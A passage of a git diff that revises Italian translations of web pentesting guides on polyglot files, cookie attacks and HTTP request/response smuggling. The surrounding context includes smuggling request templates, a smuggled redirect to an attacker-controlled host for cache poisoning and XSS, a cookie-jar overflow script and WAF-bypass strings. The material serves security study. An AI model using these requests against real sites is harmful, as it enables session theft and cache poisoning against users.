uno strumento unico nella cybersecurity, agendo come camaleonti che possono esistere validamente in più formati di file contemporaneamente. Un esempio intrigante è un [GIFAR](https://en.wikipedia.org/wiki/Gifar), un ibrido che funziona sia come GIF che come archivio RAR. Tali file non sono limitati a questa accoppiata; combinazioni come GIF e JS o PPT e JS sono anche fattibili. -L'utilità principale dei file poliglotti risiede nella loro capacità di eludere le misure di sicurezza che filtrano i file in base al tipo. La pratica comune in varie applicazioni prevede di consentire solo determinati tipi di file per il caricamento—come JPEG, GIF o DOC—per mitigare il rischio posto da formati potenzialmente dannosi (ad es., JS, PHP o file Phar). Tuttavia, un poliglott, conformandosi ai criteri strutturali di più tipi di file, può eludere furtivamente queste restrizioni. +L'utilità principale dei file poliglotti risiede nella loro capacità di eludere le misure di sicurezza che filtrano i file in base al tipo. La prassi comune in varie applicazioni prevede di consentire solo determinati tipi di file per il caricamento—come JPEG, GIF o DOC—per mitigare il rischio posto da formati potenzialmente dannosi (ad es., JS, PHP o file Phar). Tuttavia, un poliglott, conformandosi ai criteri strutturali di più tipi di file, può eludere furtivamente queste restrizioni. -Nonostante la loro adattabilità, i poliglotti incontrano limitazioni. Ad esempio, mentre un poliglott potrebbe contemporaneamente incarnare un file PHAR (PHp ARchive) e un JPEG, il successo del suo caricamento potrebbe dipendere dalle politiche delle estensioni dei file della piattaforma. Se il sistema è rigoroso riguardo alle estensioni consentite, la mera dualità strutturale di un poliglott potrebbe non essere sufficiente a garantire il suo caricamento. +Nonostante la loro adattabilità, i poliglotti incontrano delle limitazioni. Ad esempio, mentre un poliglott potrebbe contemporaneamente incarnare un file PHAR (PHp ARchive) e un JPEG, il successo del suo caricamento potrebbe dipendere dalle politiche delle estensioni dei file della piattaforma. Se il sistema è rigoroso riguardo alle estensioni consentite, la mera dualità strutturale di un poliglott potrebbe non essere sufficiente a garantire il suo caricamento. Maggiore informazione in: [https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a](https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a) diff --git a/src/pentesting-web/hacking-with-cookies/README.md b/src/pentesting-web/hacking-with-cookies/README.md index c3bc2de4d..9b190edbc 100644 --- a/src/pentesting-web/hacking-with-cookies/README.md +++ b/src/pentesting-web/hacking-with-cookies/README.md @@ -54,14 +54,14 @@ Nota che temporaneamente, dopo aver applicato questa modifica, i **cookie senza ### HttpOnly -Questo evita che il **client** acceda al cookie (ad esempio tramite **Javascript**: `document.cookie`) +Questo impedisce al **client** di accedere al cookie (ad esempio tramite **Javascript**: `document.cookie`) #### **Bypasses** - Se la pagina **invia i cookie come risposta** a una richiesta (ad esempio in una pagina **PHPinfo**), è possibile abusare dell'XSS per inviare una richiesta a questa pagina e **rubare i cookie** dalla risposta (controlla un esempio in [https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/](https://hackcommander.github.io/posts/2022/11/12/bypass-httponly-via-php-info-page/)). - Questo potrebbe essere bypassato con richieste **TRACE** **HTTP** poiché la risposta del server (se questo metodo HTTP è disponibile) rifletterà i cookie inviati. Questa tecnica è chiamata **Cross-Site Tracking**. - Questa tecnica è evitata dai **browser moderni non permettendo l'invio di una richiesta TRACE** da JS. Tuttavia, sono stati trovati alcuni bypass in software specifici come inviare `\r\nTRACE` invece di `TRACE` a IE6.0 SP2. -- Un altro modo è lo sfruttamento di vulnerabilità zero/day dei browser. +- Un altro modo è lo sfruttamento di vulnerabilità zero-day dei browser. - È possibile **sovrascrivere i cookie HttpOnly** eseguendo un attacco di overflow del Cookie Jar: {{#ref}} @@ -111,9 +111,9 @@ Questo attacco comporta il furto del cookie di un utente per ottenere accesso no ### Session Fixation -In questo scenario, un attaccante inganna una vittima inducendola a utilizzare un cookie specifico per accedere. Se l'applicazione non assegna un nuovo cookie al momento del login, l'attaccante, in possesso del cookie originale, può impersonare la vittima. Questa tecnica si basa sul fatto che la vittima accede con un cookie fornito dall'attaccante. +In questo scenario, un attaccante inganna una vittima a utilizzare un cookie specifico per accedere. Se l'applicazione non assegna un nuovo cookie al momento del login, l'attaccante, in possesso del cookie originale, può impersonare la vittima. Questa tecnica si basa sul fatto che la vittima accede con un cookie fornito dall'attaccante. -Se hai trovato un **XSS in un sottodominio** o **controlli un sottodominio**, leggi: +Se hai trovato un **XSS in un sottodominio** o controlli un sottodominio, leggi: {{#ref}} cookie-tossing.md @@ -123,7 +123,7 @@ cookie-tossing.md Qui, l'attaccante convince la vittima a utilizzare il cookie di sessione dell'attaccante. La vittima, credendo di essere connessa al proprio account, eseguirà involontariamente azioni nel contesto dell'account dell'attaccante. -Se hai trovato un **XSS in un sottodominio** o **controlli un sottodominio**, leggi: +Se hai trovato un **XSS in un sottodominio** o controlli un sottodominio, leggi: {{#ref}} cookie-tossing.md @@ -187,7 +187,7 @@ Secondo [**questo blogpost**](https://portswigger.net/research/bypassing-wafs-wi #### Analisi del bypass dei valori con codifica di stringhe tra virgolette -Questa analisi indica di disattivare l'escape dei valori all'interno dei cookie, quindi "\a" diventa "a". Questo può essere utile per eludere i WAFS poiché: +Questa analisi indica di disattivare l'escape dei valori all'interno dei cookie, quindi "\a" diventa "a". Questo può essere utile per bypassare i WAFS poiché: - `eval('test') => forbidden` - `"\e\v\a\l\(\'\t\e\s\t\'\)" => allowed` @@ -198,7 +198,7 @@ Nell'RFC2109 è indicato che una **virgola può essere utilizzata come separator #### Analisi del bypass dei valori con la suddivisione dei cookie -Infine, diverse backdoor si unirebbero in una stringa diversi cookie passati in intestazioni di cookie diverse come in: +Infine, diverse backdoor si unirebbero in una stringa diversi cookie passati in intestazioni di cookie differenti come in: ``` GET / HTTP/1.1 Host: example.com @@ -230,7 +230,7 @@ Se il cookie rimane lo stesso (o quasi) quando accedi, questo probabilmente sign - Provare a creare molti **account** con nomi utente molto **simili** e cercare di **indovinare** come funziona l'algoritmo. - Provare a **bruteforce il nome utente**. Se il cookie viene salvato solo come metodo di autenticazione per il tuo nome utente, allora puoi creare un account con nome utente "**Bmin**" e **bruteforce** ogni singolo **bit** del tuo cookie perché uno dei cookie che proverai sarà quello appartenente a "**admin**". -- Prova **Padding** **Oracle** (puoi decrittare il contenuto del cookie). Usa **padbuster**. +- Prova **Padding** **Oracle** (puoi decriptare il contenuto del cookie). Usa **padbuster**. **Padding Oracle - Esempi di Padbuster** ```bash diff --git a/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md b/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md index eb98706bb..ef7c9e5bd 100644 --- a/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md +++ b/src/pentesting-web/hacking-with-cookies/cookie-jar-overflow.md @@ -1,6 +1,6 @@ {{#include ../../banners/hacktricks-training.md}} -I browser hanno un **limite sul numero di cookie** che possono memorizzare per una pagina. Quindi, se per qualche motivo hai bisogno di **far scomparire un cookie**, puoi **sovraccaricare il barattolo dei cookie** poiché i più vecchi verranno eliminati prima: +I browser hanno un **limite sul numero di cookie** che possono memorizzare per una pagina. Quindi, se per qualche motivo hai bisogno di **far scomparire un cookie**, puoi **sovraccaricare il barattolo dei cookie** poiché i più vecchi verranno eliminati per primi: ```javascript // Set many cookies for (let i = 0; i < 700; i++) { diff --git a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md index 792fa0db2..3d3121714 100644 --- a/src/pentesting-web/hacking-with-cookies/cookie-tossing.md +++ b/src/pentesting-web/hacking-with-cookies/cookie-tossing.md @@ -21,14 +21,14 @@ Questo può essere pericoloso poiché l'attaccante potrebbe essere in grado di: ### Ordine dei Cookie -Quando un browser riceve due cookie con lo stesso nome **che influiscono parzialmente sullo stesso ambito** (dominio, sottodomini e percorso), il **browser invierà entrambi i valori del cookie** quando entrambi sono validi per la richiesta. +Quando un browser riceve due cookie con lo stesso nome **che influenzano parzialmente lo stesso ambito** (dominio, sottodomini e percorso), il **browser invierà entrambi i valori del cookie** quando entrambi sono validi per la richiesta. A seconda di chi ha **il percorso più specifico** o quale sia il **più vecchio**, il browser **imposterà prima il valore del cookie** e poi il valore dell'altro come in: `Cookie: iduser=MoreSpecificAndOldestCookie; iduser=LessSpecific;` La maggior parte **dei siti web utilizzerà solo il primo valore**. Quindi, se un attaccante vuole impostare un cookie, è meglio impostarlo prima che un altro venga impostato o impostarlo con un percorso più specifico. > [!WARNING] -> Inoltre, la capacità di **impostare un cookie in un percorso più specifico** è molto interessante poiché sarà possibile far **lavorare la vittima con il suo cookie tranne che nel percorso specifico in cui il cookie malevolo impostato verrà inviato prima**. +> Inoltre, la capacità di **impostare un cookie in un percorso più specifico** è molto interessante poiché sarà possibile far **lavorare la vittima con il suo cookie tranne che nel percorso specifico dove il cookie malevolo impostato verrà inviato prima**. ### Bypass della Protezione @@ -40,7 +40,7 @@ Per bypassare lo scenario in cui l'attaccante sta impostando un cookie dopo che cookie-jar-overflow.md {{#endref}} -Un altro utile **bypass** potrebbe essere **URL encode il nome del cookie** poiché alcune protezioni controllano 2 cookie con lo stesso nome in una richiesta e poi il server decodificherà i nomi dei cookie. +Un altro utile **bypass** potrebbe essere **URL codificare il nome del cookie** poiché alcune protezioni controllano 2 cookie con lo stesso nome in una richiesta e poi il server decodificherà i nomi dei cookie. ### Cookie Bomb diff --git a/src/pentesting-web/http-connection-request-smuggling.md b/src/pentesting-web/http-connection-request-smuggling.md index 4b3240041..3f29fa313 100644 --- a/src/pentesting-web/http-connection-request-smuggling.md +++ b/src/pentesting-web/http-connection-request-smuggling.md @@ -8,7 +8,7 @@ ### Validazione della Prima Richiesta -Quando si instradano le richieste, i proxy inversi potrebbero dipendere dall'**intestazione Host** per determinare il server back-end di destinazione, spesso facendo affidamento su una lista bianca di host autorizzati. Tuttavia, esiste una vulnerabilità in alcuni proxy in cui la lista bianca è applicata solo alla richiesta iniziale in una connessione. Di conseguenza, gli attaccanti potrebbero sfruttare questo facendo prima una richiesta a un host consentito e poi richiedendo un sito interno attraverso la stessa connessione: +Quando si instradano le richieste, i proxy inversi potrebbero dipendere dall'**intestazione Host** per determinare il server back-end di destinazione, spesso facendo affidamento su una lista bianca di host che sono autorizzati ad accedere. Tuttavia, esiste una vulnerabilità in alcuni proxy in cui la lista bianca è applicata solo alla richiesta iniziale in una connessione. Di conseguenza, gli attaccanti potrebbero sfruttare questo facendo prima una richiesta a un host consentito e poi richiedendo un sito interno attraverso la stessa connessione: ``` GET / HTTP/1.1 Host: [allowed-external-host] @@ -18,7 +18,7 @@ Host: [internal-host] ``` ### First-request Routing -In alcune configurazioni, un server front-end può utilizzare il **Host header della prima richiesta** per determinare il routing back-end per quella richiesta e poi instradare in modo persistente tutte le richieste successive dalla stessa connessione client alla stessa connessione back-end. Questo può essere dimostrato come: +In alcune configurazioni, un server front-end può utilizzare il **Host header della prima richiesta** per determinare il routing back-end per quella richiesta e poi instradare in modo persistente tutte le richieste successive dallo stesso client sulla stessa connessione back-end. Questo può essere dimostrato come: ``` GET / HTTP/1.1 Host: example.com diff --git a/src/pentesting-web/http-request-smuggling/README.md b/src/pentesting-web/http-request-smuggling/README.md index 683fb4162..3a5be9ed5 100644 --- a/src/pentesting-web/http-request-smuggling/README.md +++ b/src/pentesting-web/http-request-smuggling/README.md @@ -25,7 +25,7 @@ Questo consente a un utente di **modificare la prossima richiesta che arriva al ### Realtà Il **Front-End** (un bilanciatore di carico / Reverse Proxy) **elabora** l'header _**content-length**_ o l'header _**transfer-encoding**_ e il server **Back-end** **elabora l'altro**, provocando una **desincronizzazione** tra i 2 sistemi.\ -Questo potrebbe essere molto critico poiché **un attaccante sarà in grado di inviare una richiesta** al reverse proxy che sarà **interpretata** dal server **back-end** **come 2 richieste diverse**. Il **pericolo** di questa tecnica risiede nel fatto che il server **back-end** **interpreta** la **2ª richiesta iniettata** come se **provenisse dal prossimo client** e la **vera richiesta** di quel client sarà **parte** della **richiesta iniettata**. +Questo potrebbe essere molto critico poiché **un attaccante sarà in grado di inviare una richiesta** al reverse proxy che sarà **interpretata** dal server **back-end** **come 2 richieste diverse**. Il **pericolo** di questa tecnica risiede nel fatto che il server **back-end** **interpreta** la **2ª richiesta iniettata** come se **provenisse dal prossimo client** e la **richiesta reale** di quel client sarà **parte** della **richiesta iniettata**. ### Particolarità @@ -40,7 +40,7 @@ Ricorda che in HTTP **un carattere di nuova riga è composto da 2 byte:** > [!TIP] > Quando si cerca di sfruttare questo con Burp Suite **disabilitare `Update Content-Length` e `Normalize HTTP/1 line endings`** nel ripetitore perché alcuni gadget abusano delle nuove righe, dei ritorni a capo e dei content-length malformati. -Gli attacchi di HTTP request smuggling sono creati inviando richieste ambigue che sfruttano le discrepanze nel modo in cui i server front-end e back-end interpretano gli header `Content-Length` (CL) e `Transfer-Encoding` (TE). Questi attacchi possono manifestarsi in diverse forme, principalmente come **CL.TE**, **TE.CL** e **TE.TE**. Ogni tipo rappresenta una combinazione unica di come i server front-end e back-end danno priorità a questi header. Le vulnerabilità sorgono dal fatto che i server elaborano la stessa richiesta in modi diversi, portando a risultati imprevisti e potenzialmente dannosi. +Gli attacchi di HTTP request smuggling sono creati inviando richieste ambigue che sfruttano le discrepanze nel modo in cui i server front-end e back-end interpretano le intestazioni `Content-Length` (CL) e `Transfer-Encoding` (TE). Questi attacchi possono manifestarsi in diverse forme, principalmente come **CL.TE**, **TE.CL** e **TE.TE**. Ogni tipo rappresenta una combinazione unica di come i server front-end e back-end danno priorità a queste intestazioni. Le vulnerabilità sorgono dal fatto che i server elaborano la stessa richiesta in modi diversi, portando a risultati imprevisti e potenzialmente dannosi. ### Esempi di Base dei Tipi di Vulnerabilità @@ -53,7 +53,7 @@ Gli attacchi di HTTP request smuggling sono creati inviando richieste ambigue ch - **Front-End (CL):** Elabora la richiesta in base all'intestazione `Content-Length`. - **Back-End (TE):** Elabora la richiesta in base all'intestazione `Transfer-Encoding`. -- **Scenario di Attacco:** +- **Scenario di attacco:** - L'attaccante invia una richiesta in cui il valore dell'intestazione `Content-Length` non corrisponde alla lunghezza effettiva del contenuto. - Il server front-end inoltra l'intera richiesta al back-end, basandosi sul valore di `Content-Length`. @@ -77,7 +77,7 @@ Foo: x - **Front-End (TE):** Elabora la richiesta in base all'intestazione `Transfer-Encoding`. - **Back-End (CL):** Elabora la richiesta in base all'intestazione `Content-Length`. -- **Scenario di Attacco:** +- **Scenario di attacco:** - L'attaccante invia una richiesta chunked in cui la dimensione del chunk (`7b`) e la lunghezza effettiva del contenuto (`Content-Length: 4`) non si allineano. - Il server front-end, rispettando `Transfer-Encoding`, inoltra l'intera richiesta al back-end. @@ -105,7 +105,7 @@ x= #### Vulnerabilità TE.TE (Transfer-Encoding utilizzato da entrambi, con offuscamento) - **Server:** Entrambi supportano `Transfer-Encoding`, ma uno può essere ingannato a ignorarlo tramite offuscamento. -- **Scenario di Attacco:** +- **Scenario di attacco:** - L'attaccante invia una richiesta con intestazioni `Transfer-Encoding` offuscate. - A seconda di quale server (front-end o back-end) non riesce a riconoscere l'offuscamento, può essere sfruttata una vulnerabilità CL.TE o TE.CL. @@ -163,7 +163,7 @@ Corpo Non Vuoto - Come il precedente ma utilizzando TE. - Tecnica [riportata qui](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/) -- **Esempio**: +- **Esempio:** ``` OPTIONS / HTTP/1.1 Host: {HOST} @@ -258,9 +258,9 @@ X - Invia versioni leggermente variate di una richiesta e osserva se le risposte del server differiscono in modo inaspettato, indicando una discrepanza di parsing. - **Utilizzo di Strumenti Automatizzati:** - Strumenti come l'estensione 'HTTP Request Smuggler' di Burp Suite possono testare automaticamente queste vulnerabilità inviando varie forme di richieste ambigue e analizzando le risposte. -- **Test di Variazione del Content-Length:** +- **Test di Variazione di Content-Length:** - Invia richieste con valori di `Content-Length` variabili che non sono allineati con la lunghezza effettiva del contenuto e osserva come il server gestisce tali discrepanze. -- **Test di Variazione del Transfer-Encoding:** +- **Test di Variazione di Transfer-Encoding:** - Invia richieste con header `Transfer-Encoding` offuscati o malformati e monitora come i server front-end e back-end rispondono in modo diverso a tali manipolazioni. ### Test di Vulnerabilità di HTTP Request Smuggling @@ -326,7 +326,7 @@ Al contrario, nell'attacco TE.CL, la richiesta iniziale `POST` utilizza `Transfe Le applicazioni spesso impiegano un **server front-end** per modificare le richieste in arrivo prima di passarle al server back-end. Una modifica tipica comporta l'aggiunta di intestazioni, come `X-Forwarded-For: `, per trasmettere l'IP del client al back-end. Comprendere queste modifiche può essere cruciale, poiché potrebbe rivelare modi per **bypassare le protezioni** o **scoprire informazioni o endpoint nascosti**. -Per indagare su come un proxy altera una richiesta, individua un parametro POST che il back-end restituisce nella risposta. Quindi, crea una richiesta, utilizzando questo parametro per ultimo, simile al seguente: +Per indagare su come un proxy altera una richiesta, trova un parametro POST che il back-end restituisce nella risposta. Quindi, crea una richiesta, utilizzando questo parametro per ultimo, simile al seguente: ``` POST / HTTP/1.1 Host: vulnerable-website.com @@ -424,7 +424,7 @@ Manipolando il `User-Agent` tramite smuggling, il payload elude i normali vincol La versione HTTP/0.9 era precedente alla 1.0 e utilizza solo verbi **GET** e **non** risponde con **intestazioni**, solo il corpo. -In [**questo writeup**](https://mizu.re/post/twisty-python), questo è stato abusato con uno smuggling di richieste e un **endpoint vulnerabile che risponderà con l'input dell'utente** per smuggler una richiesta con HTTP/0.9. Il parametro che verrà riflesso nella risposta conteneva una **falsa risposta HTTP/1.1 (con intestazioni e corpo)** quindi la risposta conterrà codice JS eseguibile valido con un `Content-Type` di `text/html`. +In [**questo writeup**](https://mizu.re/post/twisty-python), questo è stato abusato con uno smuggling di richieste e un **endpoint vulnerabile che risponderà con l'input dell'utente** per smuggler una richiesta con HTTP/0.9. Il parametro che verrà riflesso nella risposta conteneva una **falsa risposta HTTP/1.1 (con intestazioni e corpo)** in modo che la risposta contenga codice JS eseguibile valido con un `Content-Type` di `text/html`. ### Sfruttare i reindirizzamenti in loco con HTTP Request Smuggling @@ -452,7 +452,7 @@ GET /home HTTP/1.1 Host: attacker-website.com Foo: X ``` -Questa richiesta di smuggling potrebbe causare la reindirizzazione della prossima richiesta utente elaborata a un sito web controllato dall'attaccante: +Questa richiesta di smuggling potrebbe causare la successiva richiesta dell'utente elaborata di essere reindirizzata a un sito web controllato dall'attaccante: ``` GET /home HTTP/1.1 Host: attacker-website.com @@ -472,7 +472,7 @@ Il web cache poisoning può essere eseguito se qualsiasi componente dell'**infra In precedenza, abbiamo osservato come le risposte del server potessero essere modificate per restituire un errore 404 (fare riferimento a [Esempi di Base](./#basic-examples)). Allo stesso modo, è possibile ingannare il server per consegnare il contenuto di `/index.html` in risposta a una richiesta per `/static/include.js`. Di conseguenza, il contenuto di `/static/include.js` viene sostituito nella cache con quello di `/index.html`, rendendo `/static/include.js` inaccessibile agli utenti, potenzialmente portando a un Denial of Service (DoS). -Questa tecnica diventa particolarmente potente se viene scoperta una **vulnerabilità di Open Redirect** o se c'è un **reindirizzamento in loco a un open redirect**. Tali vulnerabilità possono essere sfruttate per sostituire il contenuto memorizzato nella cache di `/static/include.js` con uno script sotto il controllo dell'attaccante, consentendo essenzialmente un attacco Cross-Site Scripting (XSS) diffuso contro tutti i client che richiedono il `/static/include.js` aggiornato. +Questa tecnica diventa particolarmente potente se viene scoperta una **vulnerabilità di Open Redirect** o se c'è un **reindirizzamento in loco a un open redirect**. Tali vulnerabilità possono essere sfruttate per sostituire il contenuto memorizzato nella cache di `/static/include.js` con uno script sotto il controllo dell'attaccante, abilitando essenzialmente un attacco Cross-Site Scripting (XSS) diffuso contro tutti i client che richiedono il `/static/include.js` aggiornato. Di seguito è riportata un'illustrazione di sfruttare **l'avvelenamento della cache combinato con un reindirizzamento in loco a un open redirect**. L'obiettivo è modificare il contenuto della cache di `/static/include.js` per servire codice JavaScript controllato dall'attaccante: ``` @@ -498,14 +498,14 @@ Dopo un **avvelenamento del socket** riuscito, dovrebbe essere avviata una **ric Successivamente, qualsiasi richiesta per `/static/include.js` servirà il contenuto memorizzato nella cache dello script dell'attaccante, avviando efficacemente un ampio attacco XSS. -### Utilizzare l'HTTP request smuggling per eseguire la web cache deception +### Utilizzare l'hacking delle richieste HTTP per eseguire la deception della cache web -> **Qual è la differenza tra avvelenamento della cache web e inganno della cache web?** +> **Qual è la differenza tra avvelenamento della cache web e deception della cache web?** > > - Nell'**avvelenamento della cache web**, l'attaccante costringe l'applicazione a memorizzare del contenuto dannoso nella cache, e questo contenuto viene servito dalla cache ad altri utenti dell'applicazione. -> - Nell'**inganno della cache web**, l'attaccante costringe l'applicazione a memorizzare del contenuto sensibile appartenente a un altro utente nella cache, e l'attaccante poi recupera questo contenuto dalla cache. +> - Nella **deception della cache web**, l'attaccante costringe l'applicazione a memorizzare del contenuto sensibile appartenente a un altro utente nella cache, e l'attaccante poi recupera questo contenuto dalla cache. -L'attaccante crea una richiesta smuggled che recupera contenuti sensibili specifici per l'utente. Considera il seguente esempio: +L'attaccante crea una richiesta di contrabbando che recupera contenuti sensibili specifici per l'utente. Considera il seguente esempio: ```markdown `POST / HTTP/1.1`\ `Host: vulnerable-website.com`\ @@ -516,7 +516,7 @@ L'attaccante crea una richiesta smuggled che recupera contenuti sensibili specif `GET /private/messages HTTP/1.1`\ `Foo: X` ``` -Se questa richiesta di smuggling avvelena un'entrata della cache destinata a contenuti statici (ad es., `/someimage.png`), i dati sensibili della vittima da `/private/messages` potrebbero essere memorizzati nella cache sotto l'entrata della cache dei contenuti statici. Di conseguenza, l'attaccante potrebbe potenzialmente recuperare questi dati sensibili memorizzati nella cache. +Se questa richiesta di smuggling avvelena un'entrata della cache destinata a contenuti statici (ad esempio, `/someimage.png`), i dati sensibili della vittima da `/private/messages` potrebbero essere memorizzati nella cache sotto l'entrata della cache dei contenuti statici. Di conseguenza, l'attaccante potrebbe potenzialmente recuperare questi dati sensibili memorizzati nella cache. ### Abusare di TRACE tramite HTTP Request Smuggling @@ -537,13 +537,13 @@ Host: vulnerable.com XSS: X-Forwarded-For: xxx.xxx.xxx.xxx ``` -Un esempio su come abusare di questo comportamento sarebbe **smuggler prima una richiesta HEAD**. Questa richiesta verrà risposta solo con le **intestazioni** di una richiesta GET (**`Content-Type`** tra esse). E smuggler **immediatamente dopo la HEAD una richiesta TRACE**, che rifletterà i dati inviati.\ +Un esempio su come abusare di questo comportamento sarebbe **smuggler prima una richiesta HEAD**. Questa richiesta verrà risposta solo con le **intestazioni** di una richiesta GET (**`Content-Type`** tra esse). E smuggler **immediatamente dopo la HEAD una richiesta TRACE**, che sarà **riflettente i dati inviati**.\ Poiché la risposta HEAD conterrà un'intestazione `Content-Length`, la **risposta della richiesta TRACE sarà trattata come il corpo della risposta HEAD, riflettendo quindi dati arbitrari** nella risposta.\ -Questa risposta sarà inviata alla richiesta successiva sulla connessione, quindi potrebbe essere **utilizzata in un file JS memorizzato nella cache, ad esempio per iniettare codice JS arbitrario**. +Questa risposta sarà inviata alla richiesta successiva sulla connessione, quindi potrebbe essere **utilizzata in un file JS memorizzato nella cache, ad esempio, per iniettare codice JS arbitrario**. ### Abusare di TRACE tramite HTTP Response Splitting -Continuare seguendo [**questo post**](https://portswigger.net/research/trace-desync-attack) è suggerito un altro modo per abusare del metodo TRACE. Come commentato, smuggler una richiesta HEAD e una richiesta TRACE rende possibile **controllare alcuni dati riflessi** nella risposta alla richiesta HEAD. La lunghezza del corpo della richiesta HEAD è fondamentalmente indicata nell'intestazione Content-Length ed è formata dalla risposta alla richiesta TRACE. +Continuando a seguire [**questo post**](https://portswigger.net/research/trace-desync-attack) viene suggerito un altro modo per abusare del metodo TRACE. Come commentato, smuggler una richiesta HEAD e una richiesta TRACE rende possibile **controllare alcuni dati riflessi** nella risposta alla richiesta HEAD. La lunghezza del corpo della richiesta HEAD è fondamentalmente indicata nell'intestazione Content-Length ed è formata dalla risposta alla richiesta TRACE. Pertanto, la nuova idea sarebbe che, conoscendo questo Content-Length e i dati forniti nella risposta TRACE, è possibile far sì che la risposta TRACE contenga una risposta HTTP valida dopo l'ultimo byte del Content-Length, consentendo a un attaccante di controllare completamente la richiesta alla risposta successiva (che potrebbe essere utilizzata per eseguire un avvelenamento della cache). diff --git a/src/pentesting-web/http-response-smuggling-desync.md b/src/pentesting-web/http-response-smuggling-desync.md index a4dc65d4e..e92af307d 100644 --- a/src/pentesting-web/http-response-smuggling-desync.md +++ b/src/pentesting-web/http-response-smuggling-desync.md @@ -10,7 +10,7 @@ Prima di tutto, questa tecnica **sfrutta una vulnerabilità di HTTP Request Smug La **principale** **differenza** tra questa tecnica e un comune HTTP Request smuggling è che **invece** di **attaccare** la **richiesta** della **vittima** **aggiungendo un prefisso**, andremo a **leakare o modificare la risposta che la vittima riceve**. Questo avviene, invece di inviare 1 richiesta e mezza per sfruttare l'HTTP Request smuggling, **inviando 2 richieste complete per desincronizzare la coda delle risposte dei proxy**. -Questo perché saremo in grado di **desincronizzare la coda delle risposte** in modo che la **risposta** della **richiesta** **legittima** della **vittima venga inviata all'attaccante**, o **iniettando contenuti controllati dall'attaccente nella risposta alla vittima**. +Questo perché saremo in grado di **desincronizzare la coda delle risposte** in modo che la **risposta** della **richiesta** **legittima** della **vittima venga inviata all'attaccante**, o **iniettando contenuti controllati dall'attaccante nella risposta alla vittima**. ### Desync della Pipeline HTTP @@ -40,7 +40,7 @@ Oltre a poter **distribuire più facilmente decine di exploit** tra utenti legit Come spiegato in precedenza, per sfruttare questa tecnica, è necessario che il **primo messaggio smuggled** nel server **richieda molto tempo per essere elaborato**. -Questa **richiesta che richiede tempo è sufficiente** se vogliamo solo **provare a rubare la risposta della vittima.** Ma se vuoi eseguire un exploit più complesso, questa sarà una struttura comune per l'exploit. +Questa **richiesta che richiede tempo è sufficiente** se vogliamo solo **cercare di rubare la risposta della vittima.** Ma se vuoi eseguire un exploit più complesso, questa sarà una struttura comune per l'exploit. Prima di tutto la **richiesta iniziale** che sfrutta **HTTP** **Request** **smuggling**, poi la **richiesta che richiede tempo** e infine **1 o più richieste payload** le cui risposte verranno inviate alle vittime. @@ -64,7 +64,7 @@ Poi, la **vittima** riceverà la **risposta alla richiesta sonnacchiosa** e se n Fino a questo punto, abbiamo imparato come sfruttare gli attacchi di HTTP Request Smuggling per **controllare** la **richiesta** **la cui** **risposta** un **client** riceverà e come puoi poi **rubare la risposta che era destinata alla vittima**. -Ma è ancora possibile **desincronizzare ancora** di più le risposte. +Ma è ancora possibile **desincronizzare ancora di più** le risposte. Ci sono richieste interessanti come la **richiesta HEAD** che sono specificate per non avere **alcun contenuto all'interno del corpo delle risposte** e che dovrebbero (devono) **contenere il Content-Length** della richiesta come **se fosse una richiesta GET**. @@ -82,13 +82,13 @@ Poi, la **vittima** riceverà la **risposta** dalla **richiesta HEAD**, che **co ### Confusione del Contenuto -Seguendo l'esempio precedente, sapendo che puoi **controllare il corpo** della richiesta la cui risposta riceverà la vittima e che una **risposta HEAD** di solito contiene nelle sue intestazioni il **Content-Type e il Content-Length**, puoi **inviare una richiesta come la seguente** per **causare XSS** nella vittima senza che la pagina sia vulnerabile a XSS: +Seguendo l'esempio precedente, sapendo che puoi **controllare il corpo** della richiesta la cui risposta riceverà la vittima e che una **risposta HEAD** **contiene solitamente nelle sue intestazioni il **Content-Type e il Content-Length**, puoi **inviare una richiesta come la seguente** per **causare XSS** nella vittima senza che la pagina sia vulnerabile a XSS: ![](<../images/image (688).png>) ### Avvelenamento della Cache -Sfruttando l'attacco di Confusione del Contenuto precedentemente commentato, **se la cache memorizza la risposta alla richiesta eseguita dalla vittima e questa risposta è una iniettata che causa un XSS, allora la cache è avvelenata**. +Sfruttando l'attacco di Confusione del Contenuto sulla desincronizzazione della risposta precedentemente commentata, **se la cache memorizza la risposta alla richiesta eseguita dalla vittima e questa risposta è una iniettata che causa un XSS, allora la cache è avvelenata**. Richiesta malevola contenente il payload XSS: @@ -99,7 +99,7 @@ Risposta malevola alla vittima che contiene l'intestazione che indica alla cache ![](<../images/image (566).png>) > [!WARNING] -> Nota che in questo caso se la **"vittima" è l'attaccante** può ora eseguire **avvelenamento della cache in URL arbitrari** poiché può **controllare l'URL che verrà memorizzato** con la risposta malevola. +> Nota che in questo caso se la **"vittima" è l'attaccante** può ora eseguire **cache poisoning in URL arbitrari** poiché può **controllare l'URL che verrà memorizzato** con la risposta malevola. ### Inganno della Cache Web @@ -111,7 +111,7 @@ Questo attacco è simile al precedente, ma **invece di iniettare un payload all' Il **goal** di questo attacco è sfruttare nuovamente la **desincronizzazione** della **risposta** per **far sì che il proxy invii una risposta generata al 100% dall'attaccante**. -Per raggiungere questo obiettivo, l'attaccante deve trovare un endpoint dell'applicazione web che **riflette alcuni valori all'interno della risposta** e **conoscere il content length della risposta HEAD**. +Per raggiungere questo obiettivo, l'attaccante deve trovare un endpoint dell'applicazione web che **riflette alcuni valori all'interno della risposta** e **conoscere la lunghezza del contenuto della risposta HEAD**. Invierà un **exploit** come: @@ -127,6 +127,6 @@ La vittima riceverà come risposta la **risposta HEAD + il contenuto della rispo Tuttavia, nota come i **dati riflessi avessero una dimensione secondo il Content-Length** della **risposta HEAD** che **ha generato una risposta HTTP valida nella coda delle risposte**. -Pertanto, la **prossima richiesta della seconda vittima** riceverà come **risposta qualcosa di completamente creato dall'attaccante**. Poiché la risposta è completamente creata dall'attaccante, può anche **far sì che il proxy memorizzi la risposta**. +Pertanto, la **prossima richiesta del secondo vittima** riceverà come **risposta qualcosa completamente creato dall'attaccante**. Poiché la risposta è completamente creata dall'attaccante, può anche **far sì che il proxy memorizzi la risposta**. {{#include ../banners/hacktricks-training.md}} diff --git a/src/pentesting-web/iframe-traps.md b/src/pentesting-web/iframe-traps.md 